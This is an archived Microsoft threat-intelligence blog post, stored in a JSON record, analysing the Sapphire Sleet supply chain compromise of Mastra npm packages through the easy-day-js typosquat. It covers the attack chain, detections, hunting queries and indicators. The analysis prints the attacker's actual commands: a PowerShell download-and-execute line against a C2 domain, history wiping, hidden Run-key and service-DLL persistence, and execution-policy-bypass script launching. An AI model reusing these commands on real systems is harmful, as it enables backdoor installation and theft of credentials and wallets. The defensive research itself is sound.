{
	"id": "25796ccc-b06f-4cae-b346-5fc671e64019",
	"created_at": "2026-10-14T02:03:23.001606Z",
	"updated_at": "2026-11-22T02:22:44.054718Z",
	"deleted_at": null,
	"sha1_hash": "85b3ca41eea73c4c23dbfaa1acd8c7ab3a74ce78",
	"title": "From package to postinstall payload: Inside the Mastra npm supply chain compromise by Sapphire Sleet",
	"llm_title": "From package to postinstall payload: Inside the Mastra npm supply chain compromise by Sapphire Sleet",
	"authors": "Microsoft Defender Security Research Team, Microsoft Threat Intelligence",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 2423499,
	"plain_text": "https://www.microsoft.com/en-us/security/blog/2026/06/17/postinstall-payload-inside-mastra-npm-supply-chain-compromise/\n\nFrom package to postinstall payload: Inside the Mastra npm supply\n\nchain compromise by Sapphire Sleet\n\nBy Microsoft Defender Security Research Team, Microsoft Threat Intelligence\n\nPublished: 2026-06-18 · Archived: 2026-10-14 02:00:46 UTC\n\nJune 19, 2026 update: Microsoft assesses with high confidence that this activity is attributable to Sapphire Sleet, a North\n\nKorean state actor that primarily targets the financial sector. The infrastructure and post-compromise TTPs observed in this\n\ncampaign are consistent with previously documented Sapphire Sleet activity. Sapphire Sleet also conducted a separate npm\n\nsupply chain compromise affecting Axios, a popular JavaScript HTTP client, in April 2026.\n\nMicrosoft Threat Intelligence observed a large-scale npm supply chain attack affecting 140+ packages across the mastra and\n\n@mastra scopes on the npm registry. Microsoft shared its findings with the npm security team, the compromised packages\n\nhave been removed and the attacker’s publish access to the @mastra scope has been revoked. The compromise originated\n\nfrom the takeover of the ehindero npm maintainer account, which had publish rights across the Mastra ecosystem and was\n\nused to publish poisoned package versions that introduced easy-day-js, a malicious typosquat of the popular dayjs library.\n\nMicrosoft assesses with high confidence that this activity is attributable to Sapphire Sleet.\n\nOnce installed, easy-day-js triggered a postinstall hook that executed an obfuscated dropper script, disabled Transport Layer\n\nSecurity (TLS) certificate verification, contacted attacker-controlled command-and-control (C2) infrastructure, downloaded\n\na second-stage payload, and executed the payload as a detached hidden process. The activity followed a coordinated staged\n\ndelivery pattern, with a clean bait version published first, followed by a weaponized version and rapid publication of the\n\ncompromised Mastra packages.\n\nBecause the payload executes during installation, any developer workstation or continuous integration and continuous\n\ndelivery (CI/CD) pipeline that ran npm install or npm update after the compromised versions were published was potentially\n\nexposed, regardless of whether the package was imported in application code.  This created risk to credentials, tokens, build\n\nenvironments, and downstream software integrity. Microsoft Defender Antivirus, Microsoft Defender for Endpoint, and\n\nMicrosoft Defender XDR provide detections and hunting coverage for suspicious Node.js execution, malicious package\n\nbehavior, reflective code loading, persistence activity and command-and-control communication.\n\nAttack chain overview\n\nPage 1 of 16\n\nhttps://www.microsoft.com/en-us/security/blog/2026/06/17/postinstall-payload-inside-mastra-npm-supply-chain-compromise/\n\nFigure 1. End-to-end attack chain from npm account takeover through mass dependency injection to second-\n\nstage payload execution.\n\nAt a high level, the attack progressed through seven phases:\n\nAccount compromise: The threat actor gained control of the ehindero npm account, a listed maintainer with publish\n\nrights across the entire @mastra scope.\n\nTyposquat creation: The threat actor published easy-day-js, a package impersonating the legitimate dayjs library\n\n(57M+ weekly downloads), using a coordinating anonymous email account).\n\nMass poisoning: Using the compromised account, the threat actor published new versions of 140+packages across\n\nthe @mastra scope, each injected with easy-day-js@^1.11.21 as a new dependency. All poisoned versions were\n\ntagged as latest.\n\nDelivery: Developers and CI/CD pipelines running npm install automatically resolved to the compromised versions.\n\nThe semantic versioning (SemVer) range ^1.11.21 resolved to 1.11.22, the version containing the malicious\n\npostinstall hook.\n\nExecution: The postinstall hook executed an obfuscated 4,572-byte dropper that disabled TLS verification, dropped\n\ntracking markers, and contacted the C2 server.\n\nSecond-stage payload: The dropper fetched executable code from the C2 server, wrote it as a randomly named .js\n\nfile, and spawned it as a fully detached, window-hidden Node.js process.\n\nPost-compromise tradecraft: On systems where the implant established C2 communication, Sapphire Sleet\n\ndelivered a PowerShell backdoor from separate infrastructure, established additional persistence, added Defender\n\nexclusions, and installed a service-level implant for SYSTEM-context access.\n\nDiscovery and initial indicators\n\nMicrosoft Threat Intelligence identified the compromise through anomalous publishing patterns on the mastra package. All\n\nprevious versions of mastra (through v1.13.0) were published through GitHub Actions OpenID Connect (OIDC), the\n\nlegitimate CI/CD pipeline. Version 1.13.1 was manually published by ehindero using a Tutamail address, an anonymous\n\nemail service.\n\nPage 2 of 16\n\nhttps://www.microsoft.com/en-us/security/blog/2026/06/17/postinstall-payload-inside-mastra-npm-supply-chain-compromise/\n\nFigure 2. Publisher comparison across mastra versions showing the anomalous manual publish on v1.13.1.\n\nThe only change between mastra@1.13.0 and mastra@1.13.1 was the addition of easy-day-js@^1.11.21 as a dependency.\n\nNo corresponding code changes were present in the Mastra GitHub repository. Both the compromised publisher\n\n(ehindero2016@tutamail.com) and the typosquat publisher (sergey2016@tutamail.com) used the same anonymous email\n\nprovider, Tutamail.\n\nDependency injection: the poisoned package.json\n\nThe compromised mastra@1.13.1 package.json reveals the injected dependency alongside the anomalous publisher\n\nmetadata:\n\nFigure 3. The compromised mastra@1.13.1 package.json with the injected easy-day-js dependency and the\n\nanomalous npm publisher.\n\nThe easy-day-js dependency was not present in any prior versions of mastra npm packages. Its addition, paired with the\n\nSemVer range ^1.11.21, ensures that the npm resolves to the weaponized 1.11.22 release.\n\nPage 3 of 16\n\nhttps://www.microsoft.com/en-us/security/blog/2026/06/17/postinstall-payload-inside-mastra-npm-supply-chain-compromise/\n\nTyposquat analysis: easy-day-js\n\nThe easy-day-js package is a deliberate impersonation of the legitimate dayjs library:\n\nAttribute Legitimate dayjs Malicious easy-day-js\n\niamkun sergey2016\nMaintainer\n\u003ckunhello@outlook[.]com\u003e \u003csergey2016@tutamail[.]com\u003e\n\nClaimed author iamkun iamkun (impersonated)\n\nRepository URL github.com/iamkun/dayjs github.com/iamkun/dayjs (copied)\n\nWeekly\n57,251,792\ndownloads\n\nVersion count\n\npostinstall script\n\nStaged delivery pattern\n\nThe typosquat used a two-phase delivery strategy:\n\n89+ versions since 2018\n\nNone\n\nonly legitimate dayjs code with no postinstall hook.\n\nnewly created\n\n2 versions (both June 16, 2026)\n\nnode setup.cjs –no-warnings (v1.11.22)\n\nPhase 1 (clean bait): easy-day-js@1.11.21 was published at 07:05 UTC on June 16, 2026. This version contained\n\nPhase 2 (weaponization): easy-day-js@1.11.22 was published at 01:01 UTC on June 17, 2026, adding the setup.cjs\n\npayload and the postinstall hook. The dayjs.min.js file is byte-identical between both versions, confirming only the\n\ndropper was added.\n\nThe weaponized package.json in version 1.11.22 exposes the postinstall hook:\n\nFigure 4. The weaponized easy-day-js@1.11.22 package.json. The postinstall hook runs setup.cjs\n\nautomatically on npm install.\n\nObfuscation and payload analysis\n\nStage 0: Obfuscated dropper (setup.cjs)\n\nPage 4 of 16\n\nhttps://www.microsoft.com/en-us/security/blog/2026/06/17/postinstall-payload-inside-mastra-npm-supply-chain-compromise/\n\nThe setup.cjs payload is protected with JavaScript obfuscation using rotated string arrays and a custom base64 decoder\n\nfunction:\n\nFigure 5. The obfuscated setup.cjs dropper with rotated string array and base64 encoded string lookups.\n\nThe obfuscation technique uses a common pattern: an array of 40 Base64-encoded strings is shuffled at initialization using a\n\nnumeric seed (0x4c11d), then accessed through a decoder function that performs Base64 decoding with character\n\nsubstitution. This prevents static analysis tools from extracting meaningful strings.\n\nStage 1: String table decryption\n\nDecoding the rotated string array reveals the payload’s true capabilities:\n\nPage 5 of 16\n\nhttps://www.microsoft.com/en-us/security/blog/2026/06/17/postinstall-payload-inside-mastra-npm-supply-chain-compromise/\n\nFigure 6. The decoded string table revealing C2 addresses, file system operations, and process spawning\n\nfunctionality.\n\nKey decoded strings include the secondary C2 address (23.254.164[.]123:443), Node.js built-in module references\n\n(node:child_process, node:os), and file system operations (writeFileSync, rmSync).\n\nStage 2: Deobfuscated payload logic\n\nAfter resolving all string references and control flow, the full payload logic emerges as a five-step attack sequence:\n\nPage 6 of 16\n\nhttps://www.microsoft.com/en-us/security/blog/2026/06/17/postinstall-payload-inside-mastra-npm-supply-chain-compromise/\n\nFigure 7. The fully deobfuscated setup.cjs payload showing the five-step attack sequence from.\n\nTLS bypass to self-deletion\n\nStep 1: Disable TLS verification. The payload sets NODE_TLS_REJECT_UNAUTHORIZED to ‘0’, disabling certificate\n\nvalidation for all HTTPS requests in the Node.js process. This enables communication with the C2 server without valid\n\ncertificates.\n\nStep 2: Drop filesystem markers. Two tracking files are written to the OS temp directory: $TMPDIR/.pkg_history contains\n\nthe install path of the compromised package, and $TMPDIR/.pkg_logs contains the package name encoded with XOR 0x80:\n\nPage 7 of 16\n\nhttps://www.microsoft.com/en-us/security/blog/2026/06/17/postinstall-payload-inside-mastra-npm-supply-chain-compromise/\n\nFigure 8. XOR 0x80 decoding of the .pkg_logs marker reveals the string easy-day-js.\n\nStep 3: Fetch second-stage payload. The dropper issues a GET request to hxxps://23.254.164[.]92:8000/update/49890878\n\nand reads the response body as text.\n\nThe second-stage payload is a ~41 KB cross-platform Node.js tasking client. Unlike a fire-and-forget stealer, the implant\n\ninstalls sign-in persistence, sends a Start beacon to the C2, then enters a repeated Check poll loop. Tasks returned by the\n\nserver are dispatched to built-in runners (a Node runner and a Shell runner), and it honors configuration update and exit\n\ncommands, meaning the operator can push and execute arbitrary follow-on code on the host at any time. On Windows, the\n\npayload additionally executes reflective .NET assembly injection for in-memory code execution.\n\nStep 3.A: Windows execution chain. On Windows, the payload performs host reconnaissance and reflective in-memory\n\ncode execution before establishing persistence.\n\nThe payload enumerates all installed applications across three sources—Start Menu entries (Get-StartApps), registry\n\nUninstall keys, and UWP packages (Get-AppxPackage)—to fingerprint the compromised host:\n\nEach enumeration is wrapped in try/catch with silent error handling. The deduplicated results are exfiltrated back to the C2\n\nfor victim profiling, enabling the attacker to identify installed security products and high-value targets.\n\nA second PowerShell script receives two C2 endpoint URLs through the SCRIPT_ARGS environment variable. It disables\n\nSSL certificate validation and defines an HTTP POST function that Base64-encodes request bodies using a legacy IE8 User-\n\nAgent string:\n\nThe first C2 request downloads a .NET DLL that is loaded directly into memory via reflection, completely bypassing disk-\n\nbased detection. The script resolves the Extension.SubRoutine class and invokes its Run2 method with a second downloaded\n\npayload, the path to cmd.exe, and the C2 callback address:\n\nPage 8 of 16\n\nhttps://www.microsoft.com/en-us/security/blog/2026/06/17/postinstall-payload-inside-mastra-npm-supply-chain-compromise/\n\nThis pattern is consistent with process injection, where the payload is injected into a cmd.exe process that communicates\n\nback to the C2 over HTTPS (port 443). The entire chain is fileless—no artifacts are written to disk.\n\nStep 3.B: Cross-platform persistence. The implant installs login persistence on all three major operating systems, using a\n\nconsistent NVM/Node masquerade theme across platforms:\n\nOS Persistence mechanism Drop location Artifact name\n\nRegistry Run key\n\nWindows (HKCU\\… C:\\ProgramData\\NodePackages\\ NvmProtocal\n\n\\CurrentVersion\\Run)\n\nLaunchAgent\nmacOS ~/Library/NodePackages/ com.nvm.protocal.plist\n (RunAtLoad)\n\nsystemd user unit\nLinux ~/.config/systemd/nvmconf/ nvmconf.service\n (WantedBy=default.target)\n\nOn Windows, the Run key launches a hidden PowerShell process that invokes Node.js:\n\nOn Linux, the systemd user unit restarts the implant on failure with a 5-second delay:\n\nAll three persistence paths drop the implant as protocal.cjs (a deliberate misspelling) into directories named to mimic\n\nlegitimate Node.js installations. The value name NvmProtocal, the macOS label com.nvm.protocal, and the Linux unit\n\nnvmconf.service are deliberately designed to blend into a developer workstation.\n\nStep 3.C: Collection and exfiltration. The implant performs the following collection before exfiltrating to the C2:\n\nCryptocurrency wallet inventory: A hardcoded list of 166 wallet browser-extension IDs (MetaMask, Phantom,\n\nCoinbase Wallet, Binance Wallet, TronLink, and others) is matched against installed extensions across Chrome,\n\nEdge, and Brave profiles.\n\nBrowser history: Each profile’s History SQLite database is copied to a temp directory prefixed with browser-hist-\n\nand queried through node:sqlite.\n\nHost reconnaissance: Gather hostname, architecture, platform, user ID, installed applications, and running processes.\n\nPage 9 of 16\n\nhttps://www.microsoft.com/en-us/security/blog/2026/06/17/postinstall-payload-inside-mastra-npm-supply-chain-compromise/\n\nCollected data is exfiltrated using a custom ICAP-style protocol over HTTPS POST (reqmod, PrimaryUrl, SecondaryUrl\n\nheaders), with hostnames resolved through node:dns and traffic carrying a spoofed legacy IE8 User-Agent string.\n\nFollowing successful exfiltration, the implant’s shell runner capability enables the operator to pivot from automated\n\ncollection to interactive hands-on-keyboard access.\n\nMicrosoft observed the actor delivering a dedicated PowerShell backdoor from separate C2 infrastructure, representing an\n\nescalation to persistent, actor-controlled access on high-value targets. The PowerShell backdoor, tradecraft, and C2\n\ninfrastructure have been used by Sapphire Sleet in other, prior campaigns.\n\nStep 3.D: Backdoor delivery. Through the Node.js implant’s shell runner capability, Sapphire Sleet  downloads and\n\nexecutes a PowerShell script from a separate attacker-controlled domain:\n\npowershell -w h -c \"iwr -UseBasicParsing https[:]//teams[.]onweblive[.]org/api/update/8555575039/4|iex\"\n\nUpon execution, the script immediately performs anti-forensic cleanup by deleting the PowerShell command history file and\n\ndisabling future history recording:\n\nRemove-Item (Get-PSReadLineOption).HistorySavePath -Force Set-PSReadLineOption -HistorySaveStyle SaveNothing\n\nStep 3.E: Host fingerprinting and C2 registration. The backdoor generates a unique 16-character alphanumeric victim\n\nidentifier and collects detailed host metadata—username, hostname, OS version, boot time, architecture, admin status,\n\ninstalled antivirus products, installed applications (via registry Uninstall keys and desktop shortcuts), and browser\n\nextensions for Chrome, Brave, and Edge. This reconnaissance data is packaged into a JSON info beacon and sent to the C2\n\nvia HTTP POST:\n\n$info_pkt = @{     type        = \"info\"     targetId    = $uid     currentTime = [int64]\n\n[DateTimeOffset]::UtcNow.ToUnixTimeSeconds()     data = @{ username=$username; hostname=$hostname;\n\ntimezone=$timezone;              bootTime=$bootTime; os=\"windows\"; version=$version; arch=$arch;\n\napplist=[string[]]$applist; extlist=[string[]]$extlist;              admin=$admin; vaccine=[string[]]$vaccine }\n\n}\n\nAll network communication uses a spoofed legacy IE8 User-Agent string (mozilla/4.0 (compatible; msie 8.0; windows nt\n\n5.1; trident/4.0)) and HTTP POST with URL-encoded or JSON bodies. The script enters an infinite polling loop, beaconing\n\nevery 10 seconds and backing off to 180-second intervals on network failure.\n\nStep 3.F: Persistence and remote code execution. The backdoor establishes a separate persistence mechanism independent\n\nof the Node.js implant’s NvmProtocal Run key. It writes a hidden batch file to C:\\ProgramData\\system.bat and registers it\n\nunder a deceptive Run key value named MicrosoftUpdate:\n\n$batFile = Join-Path $env:PROGRAMDATA \"system.bat\" $batCont = 'start /min powershell -w h -c \"\u0026\n\n([scriptblock]::Create(' +            '[System.Text.Encoding]::UTF8.GetString((Invoke-WebRequest -\n\nUseBasicParsing ' +            \"-Uri '$url' -Method POST -Body 'wwps').Content))) '$url'\" Set-Content -Path\n\n$batFile -Value $batCont -Encoding ASCII Set-ItemProperty -Path $batFile -Name Attributes -Value Hidden Set-\n\nItemProperty -Path \"HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\" -Name \"MicrosoftUpdate\" -Value\n\n$batFile\n\nThis persistence loader re-fetches the backdoor body from the C2 on every logon by POSTing the keyword wwps, enabling\n\nthe attacker to silently rotate the live payload without touching the endpoint. When the C2 responds with a script command,\n\nthe backdoor decodes a Base64-encoded PowerShell payload, writes it to a temporary file (%TEMP%\\{guid}.ps1), and\n\nexecutes it with -ExecutionPolicy Bypass in a hidden window:\n\nPage 10 of 16\n\nhttps://www.microsoft.com/en-us/security/blog/2026/06/17/postinstall-payload-inside-mastra-npm-supply-chain-compromise/\n\n$scpt = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($Command.scriptfile)) $tempFile =\n\nJoin-Path $env:TEMP (\"{0}.ps1\" -f ([Guid]::NewGuid().ToString(\"N\"))) Set-Content -Path $tempFile -Value $scpt -\n\nEncoding UTF8 -Force $cln = @(\"-NoProfile\",\"-ExecutionPolicy\",\"Bypass\",\"-File\",$tempFile) + $uid + $url Start-\n\nProcess powershell.exe -WindowStyle Hidden -ArgumentList $cln\n\nStep 3.G: Defense evasion and service-level persistence. After establishing interactive access, the operator escalates by\n\nadding a Microsoft Defender exclusion for C:\\Windows\\System32 to suppress detection of dropped tooling, then installs a\n\npersistent service that loads a malicious DLL at boot:\n\nsc create scdev binPath= \"c:\\windows\\system32\\svchost.exe -k scdev\" type= share start= auto reg add\n\nHKLM\\SYSTEM\\CurrentControlSet\\services\\scdev\\Parameters /v ServiceDll /t REG_EXPAND_SZ /d\n\nc:\\windows\\system32\\scdev.dll /f\n\nThe scdev service runs as a shared svchost.exe process under the SYSTEM context with automatic startup, providing\n\nSapphire Sleet with boot-persistent, elevated access independent of user logon. This represents the final escalation stage—\n\nfrom a supply chain package compromise through automated credential theft to full interactive control with SYSTEM-level\n\npersistence.\n\nTimeline analysis\n\nEvery package published by the ehindero account contained easy-day-js as an injected dependency. Packages last published\n\nby GitHub Actions CI/CD or other legitimate maintainers were not affected.\n\nAttack timeline\n\nTimestamp\nEvent\n(UTC)\n\nJune 16, 07:05 easy-day-js@1.11.21 published (clean bait, no payload)\n\nJune 17, 01:01 easy-day-js@1.11.22 published (adds postinstall with setup.cjs)\n\nmastra@1.13.1 and 140+ other @mastra/* packages published with easy-day-js\nJune 17, 01:20\ndependency\n\n** Microsoft Threat Intelligence monitoring observed easy-day-js@1.11.22 at 01:07 UTC and mastra@1.13.1 at 01:28 UTC\n\non June 17, 2026\n\nWho is Sapphire Sleet?\n\nSapphire Sleet is a North Korean state actor that has been active since at least March 2020. The threat actor focuses\n\nprimarily on the finance sector, including cryptocurrency, venture capital, and blockchain organizations. These targets are\n\noften global, with a particular interest in the United States, as well as countries in Asia and the Middle East. The primary\n\nmotivation of this actor is to steal cryptocurrency wallets to generate revenue, and target technology or intellectual property\n\nrelated to cryptocurrency trading and blockchain platforms.\n\nSapphire Sleet often leverages social networking sites, such as LinkedIn, to initiate contact by directing users to click links,\n\nleading to malicious files hosted on attacker-controlled cloud storage services such as OneDrive or Google Drive, using\n\ndomains masquerading as financial institutions like United States-based banks or cryptocurrency pages, and fraudulent\n\nmeeting links that impersonate legitimate video conferencing applications, such as Zoom. Sapphire Sleet overlaps with\n\nactivity tracked by other security vendors as UNC1069, STARDUST CHOLLIMA, Alluring Pisces, BlueNoroff,\n\nCageyChameleon, or CryptoCore.\n\nPage 11 of 16\n\nhttps://www.microsoft.com/en-us/security/blog/2026/06/17/postinstall-payload-inside-mastra-npm-supply-chain-compromise/\n\nMitigation and protection guidance\n\nMicrosoft recommends the following mitigations to reduce the impact of this threat:\n\nReview dependency trees for direct or transitive usage of affected @mastra packages at the compromised versions\n\nlisted above.\n\nCheck for the presence of easy-day-js in node_modules/ or package-lock.json files across your projects and CI/CD\n\nenvironments.\n\nPin known-good package versions where possible. For mastra, version 1.13.0 and earlier are unaffected. For\n\n@mastra/core, version 1.42.0 and earlier are unaffected.\n\nRun npm install with –ignore-scripts to prevent automatic execution of postinstall hooks during dependency\n\ninstallation.\n\nCheck systems for indicators of compromise (IOC) artifacts: Look for $TMPDIR/.pkg_history, $TMPDIR/.pkg_logs,\n\nand unexpected .js files in the user’s home or temp directories.\n\nRotate any credentials, tokens, or API keys that may have been present on systems where the compromised packages\n\nwere installed.\n\nBlock the C2 IP addresses 23.254.164[.]92 and 23.254.164[.]123 at the network perimeter.\n\nAudit CI/CD logs for unexpected outbound connections to the C2 IP addresses or suspicious postinstall script\n\nexecution.\n\nEnable cloud-delivered protection in Microsoft Defender Antivirus or equivalent antivirus protection.\n\nMicrosoft Defender XDR detections\n\nMicrosoft Defender XDR customers can refer to the list of applicable detections below. Microsoft Defender XDR\n\ncoordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide\n\nTactic\n\nInitial\n\naccess\n\nExecution\n\n( Stage 1  )\n\nintegrated protection against attacks like the threat discussed in this blog.\n\nObserved activity\n\nSuspicious script execution during npm install or\n\npackage lifecycle activity\n\nPostinstall hook automatically executes\n\nobfuscated setup.cjs dropper (4,572 bytes) during\n\nnpm install;\n\nMicrosoft Defender coverage\n\nMicrosoft Defender Antivirus –\n\nTrojan:JS/NpmStealz.Z!MTB\n\n– Trojan:JS/NpmStealz.ZA!MTB\n\nMicrosoft Defender for Endpoint\n\n– Suspicious Node.js process\n\nbehavior\n\n– Suspicious Node.js script\n\nexecution\n\nMicrosoft Defender for Endpoint\n\n– Suspicious Node.js process\n\nbehavior\n\n– Suspicious Node.js script\n\nexecution\n\nPage 12 of 16\n\nhttps://www.microsoft.com/en-us/security/blog/2026/06/17/postinstall-payload-inside-mastra-npm-supply-chain-compromise/\n\nMicrosoft Defender Antivirus\n\nTrojan:JS/NpmSteal.DB!MTB\n\nTrojan:PowerShell/PsExec.DE!MTB\n\nMicrosoft Defender for Endpoint\n\n-Process loaded suspicious .NET\n\nassembly\n\n-A process was injected with\nSecond-stage payload: Reflective .NET assembly potentially malicious code\nExecution / injection: PowerShell downloads DLL, loads via -Reflective code loading (Fileless In-\nDefense [Reflection.Assembly]::Load(), invokes Memory Execution)\nevasion  Extension.SubRoutine.Run2 method to inject\nMicrosoft Defender for Cloud\n(Stage 2) payload into cmd.exe process; entire chain is\n-Possible AI Tools Reconnaissance\nfileless\nDetected\n\n-Possible Secret Reconnaissance\n\nDetected\n\n-Access to cloud metadata service\n\ndetected\n\n-Possible Post-Compromise Activity\n\nDetected in CICD Runner\n\nRegistry Run key created, executing hidden Microsoft Defender for Endpoint\n\nPersistence PowerShell that launches protocal.cjs on every – Anomaly detected in ASEP registry\n\nuser login\n\nMicrosoft Defender for Endpoint\nCommand GET request to\n– Command-line process\nand hxxps://23.254.164[.]92:8000/update/49890878\ncommunicating with malicious\ncontrol and reads the response body as text.\nnetwork endpoint\n\nMicrosoft Security Copilot\n\nSecurity Copilot customers can use the standalone experience to create their own prompts or run the following prebuilt\n\npromptbooks to automate incident response or investigation tasks related to this threat:\n\nIncident investigation\n\nMicrosoft User analysis\n\nThreat actor profile\n\nThreat Intelligence 360 report based on MDTI article\n\nVulnerability impact assessment\n\nNote that some promptbooks require access to plugins for Microsoft products such as Microsoft Defender XDR or Microsoft\n\nSentinel.\n\nAdvanced hunting\n\nThe following KQL queries can be used in Microsoft Defender XDR Advanced Hunting to identify potential exposure to\n\nthis supply chain compromise.\n\nPage 13 of 16\n\nhttps://www.microsoft.com/en-us/security/blog/2026/06/17/postinstall-payload-inside-mastra-npm-supply-chain-compromise/\n\nDetect postinstall execution of setup.cjs\n\nDeviceProcessEvents\n\n| where Timestamp \u003e ago(7d)\n\n| where FileName in (\"node\", \"node.exe\")\n\n| where ProcessCommandLine has \"setup.cjs\"\n\nor ProcessCommandLine has \"easy-day-js\"\n\n|  where ProcessCommandLine has “--no-warnings”\n\n| project Timestamp, DeviceName, AccountName,\n\nProcessCommandLine, FolderPath, InitiatingProcessFileName\n\n| sort by Timestamp desc\n\nOutbound connections to C2 infrastructure\n\nDeviceNetworkEvents\n\n| where Timestamp \u003e ago(7d)\n\n| where RemoteIP in (\"23.254.164.92\", \"23.254.164.123\")\n\n| project Timestamp, DeviceName, RemoteIP, RemotePort, RemoteUrl,\n\nInitiatingProcessFileName, InitiatingProcessCommandLine\n\n| sort by Timestamp desc\n\nIndicators of compromise (IOC)\n\nNetwork indicators\n\nIndicator\n\n23.254.164.92\n\n23.254.164.123\n\nhttps[:]//23[.]254[.]164[.]92:8000/update/49890878\n\nteams[.]onweblive[.]org\n\nhttps[:]//teams[.]onweblive[.]org/api/update/8555575039/4\n\nmaskasd[.]com\n\nType\n\nIP\n\naddress\n\nIP\n\naddress\n\nURL\n\nDomain\n\nURL\n\nDomain\n\nPage 14 of 16\n\nDescription\n\nPrimary C2 server\n\nSecondary C2 address (from\n\ndeobfuscated strings)\n\nPayload download endpoint\n\nPost Compromise PowerShell\n\nbackdoor delivery domain\n\nPost Compromise PowerShell\n\nbackdoor download endpoint\n\nPost Compromise C2 beacon\n\ndomain\n\nhttps://www.microsoft.com/en-us/security/blog/2026/06/17/postinstall-payload-inside-mastra-npm-supply-chain-compromise/\n\nPost Compromise C2 beacon\nhttps[:]//maskasd[.]com/8555575039 URL\nendpoint\n\nFile indicators\n\nIndicator Type Description\n\nsetup.cjs\n\nSHA- (malicious\nB122A9873BEDF145AE2A7FD024B5F309007DBB025149F4DC4AC3F7E4F32A36A4\n256 postinstall\n\ndropper)\n\neasy-day-js-\n\nSHA- 1.11.22.tgz\nAE70DD4F6BC0D1C8C2848E4E6B51934626C4818DCB5AF99D080DDBD7DC337185\n256 (weaponized\n\ntarball)\n\neasy-day-js-\n\nSHA- 1.11.21.tgz\n4A8860240E4231C3A74C81949BE655A28E096A7D72F38FBE84E5B37636B98417\n256 (clean bait\n\ntarball)\n\nmastra-\n\nSHA- 1.13.1.tgz\nB73DE25C053C3225A077738A1FCBD9CA6966D7B3CD6F5494A30F0AA0EAE55C7E\n256 (compromised\n\nCLI tarball)\n\nSHA-\n221c45a790dec2a296af57969e1165a16f8f49733aeab64c0bbd768d9943badf protocol.cjs\n256\n\nDownloader\n\nSHA- and backdoor\n50eae63d3e24be9ca8803f4b5a0408aef97ee3fab7af018d8c2dde7c359edd65\n256 PowerShell\n\nscript\n\nSecond stage\n\n1d1bf5e8c1539d2f05b1429235b8f4990f87036774be95157b315a7803dd5526 SHA256 Powershell\n\nScript\n\nHost indicators\n\nIndicator Type Description\n\n$TMPDIR/.pkg_history File artifact Contains the install path of the compromised package\n\n$TMPDIR /.pkg_logs File artifact Contains XOR 0x80 encoded string “easy-day-js”\n\n\u003chomedir\u003e/\u003crandom_hex\u003e.js File artifact Downloaded second-stage payload\n\nPackage indicators\n\nPage 15 of 16\n\nhttps://www.microsoft.com/en-us/security/blog/2026/06/17/postinstall-payload-inside-mastra-npm-supply-chain-compromise/\n\nIndicator Type Description\n\neasy-day-js npm package Malicious typosquat of dayjs\n\nsergey2016 npm account Publisher of easy-day-js\n\nehindero npm account Compromised publisher of 140+ Mastra packages\n\nReferences\n\nSecurity: mastra@1.13.1 is compromised — malicious postinstall payload via `easy-day-js` dependency · Issue #18046 ·\n\nmastra-ai/mastra\n\nMicrosoft has identified a supply chain attack on the Mastra-AI npm ecosystem, with 80+ packages compromised through\n\nnpm account takeover. The attacker introduced a phantom dependency into the… | Microsoft Threat Intelligence\n\nThis research is provided by Microsoft Defender Security Research, Suriyaraj Natarajan, Sagar Patil, Rajesh Kumar\n\nNatarajan, Mahesh Mandava, Arvind Gowda, and with contributions from members of Microsoft Threat Intelligence.\n\nLearn more\n\nFor the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat\n\nIntelligence Blog.\n\nTo get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter),\n\nand Bluesky.\n\nTo hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape,\n\nlisten to the Microsoft Threat Intelligence podcast.\n\nReview our documentation to learn more about our real-time protection capabilities and see how to enable them within\n\nyour organization.\n\nExplore how to build and customize agents with Copilot Studio Agent Builder\n\nMicrosoft 365 Copilot AI security documentation\n\nHow Microsoft discovers and mitigates evolving attacks against AI guardrails\n\nLearn more about securing Copilot Studio agents with Microsoft Defender\n\nEvaluate your AI readiness with our latest Zero Trust for AI workshop.\n\nLearn more about Protect your agents in real-time during runtime (Preview)\n\nSource: https://www.microsoft.com/en-us/security/blog/2026/06/17/postinstall-payload-inside-mastra-npm-supply-chain-compromise/\n\nPage 16 of 16",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"MITRE"
	],
	"origins": [
		"web"
	],
	"references": [
		"https://www.microsoft.com/en-us/security/blog/2026/06/17/postinstall-payload-inside-mastra-npm-supply-chain-compromise/"
	],
	"report_names": [
		"postinstall-payload-inside-mastra-npm-supply-chain-compromise"
	],
	"threat_actors": [
		{
			"id": "810fada6-3a62-477e-ac11-2702f9a1ef80",
			"created_at": "2023-01-06T13:46:38.874104Z",
			"updated_at": "2026-11-22T02:00:15.590669Z",
			"deleted_at": null,
			"main_name": "STARDUST CHOLLIMA",
			"aliases": [
				"Sapphire Sleet"
			],
			"source_name": "MISPGALAXY:STARDUST CHOLLIMA",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		},
		{
			"id": "1bdb91cf-f1a6-4bed-8cfa-c7ea1b635ebd",
			"created_at": "2022-10-25T16:07:23.766784Z",
			"updated_at": "2026-11-22T02:00:17.355384Z",
			"deleted_at": null,
			"main_name": "Bluenoroff",
			"aliases": [
				"APT 38",
				"ATK 117",
				"Alluring Pisces",
				"Black Alicanto",
				"Bluenoroff",
				"CTG-6459",
				"Copernicium",
				"G0082",
				"Nickel Gladstone",
				"Sapphire Sleet",
				"Selective Pisces",
				"Stardust Chollima",
				"T-APT-15",
				"TA444",
				"TAG-71",
				"TEMP.Hermit"
			],
			"source_name": "ETDA:Bluenoroff",
			"tools": [],
			"source_id": "ETDA",
			"reports": null
		},
		{
			"id": "f426f0a0-faef-4c0e-bcf8-88974116c9d0",
			"created_at": "2022-10-25T15:50:23.240383Z",
			"updated_at": "2026-11-22T02:00:06.522113Z",
			"deleted_at": null,
			"main_name": "APT38",
			"aliases": [
				"APT38",
				"NICKEL GLADSTONE",
				"BeagleBoyz",
				"Bluenoroff",
				"Stardust Chollima",
				"Sapphire Sleet",
				"COPERNICIUM"
			],
			"source_name": "MITRE:APT38",
			"tools": [
				"ECCENTRICBANDWAGON",
				"HOPLIGHT",
				"Mimikatz",
				"KillDisk",
				"DarkComet"
			],
			"source_id": "MITRE",
			"reports": null
		},
		{
